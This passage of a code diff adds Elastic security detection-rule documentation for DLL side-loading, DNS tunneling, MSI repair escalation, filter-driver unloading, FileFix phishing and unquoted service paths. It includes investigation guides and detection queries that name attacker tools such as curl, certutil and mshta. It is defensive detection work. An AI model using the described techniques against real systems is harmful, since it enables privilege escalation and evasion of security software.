IT administrative tools might mimic trusted Microsoft programs for monitoring or management tasks. Verify these tools and add them to an exception list if they are part of standard operations. +- Development or testing environments often involve renamed or relocated executables for debugging purposes. Ensure these environments are recognized and excluded from the detection rule to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and unauthorized access. +- Terminate the suspicious process identified by the detection rule to stop any ongoing malicious activity. +- Conduct a forensic analysis of the affected system to identify any malicious DLLs or additional compromised files, and remove them. +- Restore the affected system from a known good backup to ensure all malicious changes are reverted. +- Update and patch all software on the affected system, focusing on the trusted Microsoft programs identified in the alert, to mitigate vulnerabilities exploited by DLL side-loading. +- Monitor the network for any signs of lateral movement or additional compromised systems, using the indicators of compromise identified during the investigation. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems or data have been affected. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("WinWord.exe", "EXPLORER.EXE", "w3wp.exe", "DISM.EXE") or + ?process.pe.original_file_name : ("WinWord.exe", "EXPLORER.EXE", "w3wp.exe", "DISM.EXE") + ) and + not process.executable : ( + "\\\\?\\Volume{????????-????-????-????-????????????}\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\PROGRA~?\\MICROS~?\\Office??\\winword.exe", + "?:\\Program Files\\Microsoft Office\\*\\winword.exe", + "?:\\Program Files\\Microsoft Office ??\\*\\winword.exe", + "?:\\Program Files\\WindowsApps\\Microsoft.Office.Desktop.*\\Office??\\winword.exe", + "?:\\Program Files (x86)\\Microsoft Office\\*\\winword.exe", + "?:\\Program Files (x86)\\Windows Kits\\*Assessment and Deployment Kit\\Deployment Tools\\amd64\\DISM\\dism.exe", + "?:\\Windows\\explorer.exe", + "?:\\Windows\\System32\\Dism.exe", + "?:\\Windows\\System32\\inetsrv\\w3wp.exe", + "?:\\Windows\\SysWOW64\\Dism.exe", + "?:\\Windows\\SysWOW64\\explorer.exe", + "?:\\Windows\\SysWOW64\\inetsrv\\w3wp.exe" + ) and + /* Crowdstrike specific exclusion as it uses NT Object paths */ + not + ( + data_stream.dataset == "crowdstrike.fdr" and + process.executable : ( + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Office\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Office ??\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files\\WindowsApps\\Microsoft.Office.Desktop.*\\Office??\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Microsoft Office\\*\\winword.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Windows Kits\\10\\Assessment and Deployment Kit\\Deployment Tools\\amd64\\DISM\\dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\explorer.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\Dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\inetsrv\\w3wp.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\Dism.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\explorer.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\inetsrv\\w3wp.exe" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dns-tunneling-via-nslookup.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dns-tunneling-via-nslookup.asciidoc new file mode 100644 index 0000000000..4808e4961a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-dns-tunneling-via-nslookup.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-21-potential-dns-tunneling-via-nslookup]] +=== Potential DNS Tunneling via NsLookup + +This rule identifies a large number (15) of nslookup.exe executions with an explicit query type from the same host. This may indicate command and control activity utilizing the DNS protocol. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/dns-tunneling-in-the-wild-overview-of-oilrigs-dns-tunneling/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential DNS Tunneling via NsLookup* + + +Attackers can abuse existing network rules that allow DNS communication with external resources to use the protocol as their command and control and/or exfiltration channel. + +DNS queries can be used to infiltrate data such as commands to be run, malicious files, etc., and also for exfiltration, since queries can be used to send data to the attacker-controlled DNS server. This process is commonly known as DNS tunneling. + +More information on how tunneling works and how it can be abused can be found on https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors[Palo Alto Unit42 Research]. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the DNS query and identify the information sent. +- Extract this communication's indicators of compromise (IoCs) and use traffic logs to search for other potentially compromised hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. If the parent process is trusted and the data sent is not sensitive nor command and control related, this alert can be closed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Immediately block the identified indicators of compromise (IoCs). +- Implement any temporary network rules, procedures, and segmentation required to contain the attack. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Update firewall rules to be more restrictive. +- Reimage the host operating system or restore the compromised files to clean versions. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=5m +[process where host.os.type == "windows" and event.type == "start" and + process.name : "nslookup.exe" and process.args:("-querytype=*", "-qt=*", "-q=*", "-type=*")] with runs = 10 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-escalation-via-vulnerable-msi-repair.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-escalation-via-vulnerable-msi-repair.asciidoc new file mode 100644 index 0000000000..03fda595b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-escalation-via-vulnerable-msi-repair.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-21-potential-escalation-via-vulnerable-msi-repair]] +=== Potential Escalation via Vulnerable MSI Repair + +Identifies when a browser process navigates to the Microsoft Help page followed by spawning an elevated process. This may indicate a successful exploitation for privilege escalation abusing a vulnerable Windows Installer repair setup. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* endgame-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* +* logs-m365_defender.event-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sec-consult.com/blog/detail/msi-installer-repair-to-system-a-detailed-journey/ +* https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2024-38014 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 206 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Escalation via Vulnerable MSI Repair* + + +Windows Installer (MSI) is a service used for software installation and maintenance. Adversaries exploit vulnerabilities in MSI repair functions to gain elevated privileges. This detection rule identifies suspicious activity by monitoring browser processes accessing Microsoft Help pages, followed by elevated process creation, indicating potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific browser process that accessed the Microsoft Help page, noting the process name and command line details. +- Check the user domain associated with the process to confirm if it matches "NT AUTHORITY", "AUTORITE NT", or "AUTORIDADE NT", which may indicate a system-level account was used. +- Investigate the parent process of the browser to determine if it was expected or if it shows signs of compromise or unusual behavior. +- Examine the timeline of events to see if an elevated process was spawned shortly after the browser accessed the Microsoft Help page, indicating potential exploitation. +- Correlate the event with other security logs or alerts from data sources like Elastic Endgame, Sysmon, or Microsoft Defender XDR to gather additional context or evidence of malicious activity. +- Assess the risk and impact of the elevated process by identifying its actions and any changes made to the system, such as modifications to critical files or registry keys. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they involve browser-based help documentation. To manage this, identify and whitelist known software update processes that frequently access Microsoft Help pages. +- Automated scripts or administrative tools that use browsers to access Microsoft Help for legitimate purposes can cause false positives. Exclude these scripts or tools by specifying their unique command-line patterns or process names. +- User-initiated troubleshooting or help-seeking behavior that involves accessing Microsoft Help pages might be misinterpreted as suspicious. Educate users on safe browsing practices and consider excluding specific user accounts or domains that are known to frequently engage in such activities. +- Security tools or monitoring solutions that simulate browser activity for testing purposes may inadvertently trigger the rule. Identify these tools and create exceptions based on their process names or command-line arguments to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious elevated processes that were spawned following the browser's navigation to the Microsoft Help page to halt potential privilege escalation activities. +- Conduct a thorough review of the affected system's event logs and process creation history to identify any unauthorized changes or additional indicators of compromise. +- Apply the latest security patches and updates to the Windows Installer service and any other vulnerable components to mitigate the exploited vulnerability. +- Restore the affected system from a known good backup if unauthorized changes or persistent threats are detected that cannot be easily remediated. +- Monitor the network for any signs of similar exploitation attempts or related suspicious activities, using enhanced detection rules and threat intelligence feeds. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation and recovery efforts. + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and host.os.type == "windows" and + user.domain : ("NT AUTHORITY", "AUTORITE NT", "AUTORIDADE NT") and + process.parent.name : ("chrome.exe", "msedge.exe", "brave.exe", "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", + "opera.exe", "iexplore", "firefox.exe", "waterfox.exe", "iexplore.exe", "tor.exe", "safari.exe") and + process.parent.command_line : "*go.microsoft.com*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-evasion-via-filter-manager.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-evasion-via-filter-manager.asciidoc new file mode 100644 index 0000000000..5962025c95 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-evasion-via-filter-manager.asciidoc @@ -0,0 +1,151 @@ +[[prebuilt-rule-8-19-21-potential-evasion-via-filter-manager]] +=== Potential Evasion via Filter Manager + +The Filter Manager Control Program (fltMC.exe) binary may be abused by adversaries to unload a filter driver and evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Evasion via Filter Manager* + + +A file system filter driver, or minifilter, is a specialized type of filter driver designed to intercept and modify I/O requests sent to a file system or another filter driver. Minifilters are used by a wide range of security software, including EDR, antivirus, backup agents, encryption products, etc. + +Attackers may try to unload minifilters to avoid protections such as malware detection, file system monitoring, and behavior-based detections. + +This rule identifies the attempt to unload a minifilter using the `fltmc.exe` command-line utility, a tool used to manage and query the filter drivers loaded on Windows systems. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Examine the command line event to identify the target driver. + - Identify the minifilter's role in the environment and if it is security-related. Microsoft provides a https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/allocated-altitudes[list] of allocated altitudes that may provide more context, such as the manufacturer. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Examine the host for derived artifacts that indicate suspicious activities: + - Observe and collect information about the following activities in the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + + +*False positive analysis* + + +- This mechanism can be used legitimately. Analysts can dismiss the alert if the administrator is aware of the activity and there are justifications for the action. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : "fltMC.exe" and process.args : "unload" and + not process.parent.executable : + ("?:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\bin\\DCFAService64.exe", + "?:\\Windows\\SysWOW64\\msiexec.exe", + "?:\\Program Files\\Bitdefender\\Endpoint Security\\installer\\installer.exe", + "?:\\Program Files\\Bitdefender\\Endpoint Security\\EPSecurityService.exe", + "?:\\Program Files\\Bitdefender\\Bitdefender Security\\productcfg.exe", + "?:\\Program Files\\Bitdefender\\Bitdefender Security\\bdservicehost.exe", + "?:\\Program Files\\Bitdefender\\EndpointSetupInformation\\{*}\\Installer.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-execution-via-filefix-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-execution-via-filefix-phishing-attack.asciidoc new file mode 100644 index 0000000000..6ee9075522 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-execution-via-filefix-phishing-attack.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-21-potential-execution-via-filefix-phishing-attack]] +=== Potential Execution via FileFix Phishing Attack + +Identifies the execution of Windows commands or downloaded files via the browser's dialog box. Adversaries may use phishing to instruct the victim to copy and paste malicious commands for execution via crafted phsihing web pages. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mrd0x.com/filefix-clickfix-alternative/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Initial Access +* Tactic: Defense Evasion +* Data Source: Windows Security Event Logs +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Execution via FileFix Phishing Attack* + + + +*Possible investigation steps* + + +- Review the process command line and arguments to identify any malicious intent. +- Review web activity preceeding the alert to identify the initial vector. +- Investigate any files, network or child process events from the suspected process. +- Correlate the event with other security alerts or logs from the same host or user to identify patterns or additional indicators of compromise. +- Assess the risk and impact of the detected activity by considering the context of the environment, such as the presence of sensitive data or critical systems that might be affected. + + +*False positive analysis* + + +- Legitimate administrative scripts containing the suspicious keywords such as CAPTCHA. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified by the detection rule to halt ongoing malicious activities. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads or scripts. +- Review and clean up any unauthorized changes to system configurations or scheduled tasks that may have been altered by the malicious PowerShell activity. +- Restore any affected files or system components from known good backups to ensure system integrity and functionality. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are compromised. +- Implement additional monitoring and logging for PowerShell activities across the network to enhance detection of similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.args == "--message-loop-type-ui" and process.parent.args == "--service-sandbox-type=none" and + ( + process.name : ("pwsh.exe", "powershell.exe", "curl.exe", "msiexec.exe", "mshta.exe", "wscript.exe", "cscript.exe", "rundll32.exe", "certutil.exe", "certreq.exe") or + process.executable : "?:\\Users\\*\\Downloads\\*" + ) and +not (process.name : "rundll32.exe" and process.args : ("ndfapi.dll,NdfRunDllDiagnoseWithAnswerFile", "shwebsvc.dll,AddNetPlaceRunDll")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc new file mode 100644 index 0000000000..457aaaa5e8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-exploitation-of-an-unquoted-service-path-vulnerability.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-21-potential-exploitation-of-an-unquoted-service-path-vulnerability]] +=== Potential Exploitation of an Unquoted Service Path Vulnerability + +Adversaries may leverage unquoted service path vulnerabilities to escalate privileges. By placing an executable in a higher-level directory within the path of an unquoted service executable, Windows will natively launch this executable from its defined path variable instead of the benign one in a deeper directory, thus leading to code execution. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Sysmon +* Data Source: Windows Security Event Logs +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Exploitation of an Unquoted Service Path Vulnerability* + + +Unquoted service paths in Windows can be exploited by adversaries to escalate privileges. When a service path lacks quotes, Windows may execute a malicious executable placed in a higher-level directory. The detection rule identifies suspicious processes starting from common unquoted paths, signaling potential exploitation attempts. This helps in early detection and mitigation of privilege escalation threats. + + +*Possible investigation steps* + + +- Review the process executable path to confirm if it matches the patterns specified in the query, such as "?:\\Program.exe" or executables within "C:\\Program Files (x86)\\" or "C:\\Program Files\\". +- Check the parent process of the suspicious executable to determine how it was initiated and assess if it aligns with expected behavior. +- Investigate the file creation and modification timestamps of the suspicious executable to identify any recent changes that could indicate malicious activity. +- Analyze the user account associated with the process start event to determine if it has the necessary privileges and if the activity is consistent with the user's typical behavior. +- Examine the system's event logs for any related activities or anomalies around the time the suspicious process was started, such as other process executions or file modifications. +- Cross-reference the executable's hash with known threat intelligence databases to identify if it is associated with any known malware or suspicious activity. + + +*False positive analysis* + + +- Legitimate software installations or updates may trigger the rule if they temporarily create executables in common unquoted paths. Users can create exceptions for known software update processes to prevent unnecessary alerts. +- System administrators might use scripts or tools that inadvertently place executables in unquoted paths for legitimate purposes. Identifying and documenting these tools can help in setting up exclusions. +- Some enterprise applications may have legitimate executables in unquoted paths due to legacy configurations. Review and verify these applications, then configure exceptions for them to avoid false positives. +- Regularly scheduled tasks or maintenance scripts that run from unquoted paths can be mistaken for malicious activity. Ensure these tasks are documented and excluded from the rule if they are verified as safe. +- Security tools or monitoring software might simulate or test unquoted path vulnerabilities as part of their operations. Confirm these activities with the security team and exclude them if they are part of routine security assessments. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement by the adversary. +- Terminate any suspicious processes identified by the detection rule, specifically those matching the unquoted service path pattern. +- Conduct a thorough review of the service configurations on the affected system to identify and correct any unquoted service paths. Ensure all service paths are properly quoted to prevent future exploitation. +- Remove any unauthorized executables found in higher-level directories that could be used to exploit the unquoted service path vulnerability. +- Restore the affected system from a known good backup if malicious activity is confirmed and system integrity is compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for similar suspicious activities across the network to detect and respond to future attempts promptly. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.executable : "?:\\Program.exe" or + process.executable regex """(C:\\Program Files \(x86\)\\|C:\\Program Files\\)\w+.exe""" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Path Interception by Unquoted Path +** ID: T1574.009 +** Reference URL: https://attack.mitre.org/techniques/T1574/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-fake-captcha-phishing-attack.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-potential-fake-captcha-phishing-attack.asciidoc new file mode 100644 index 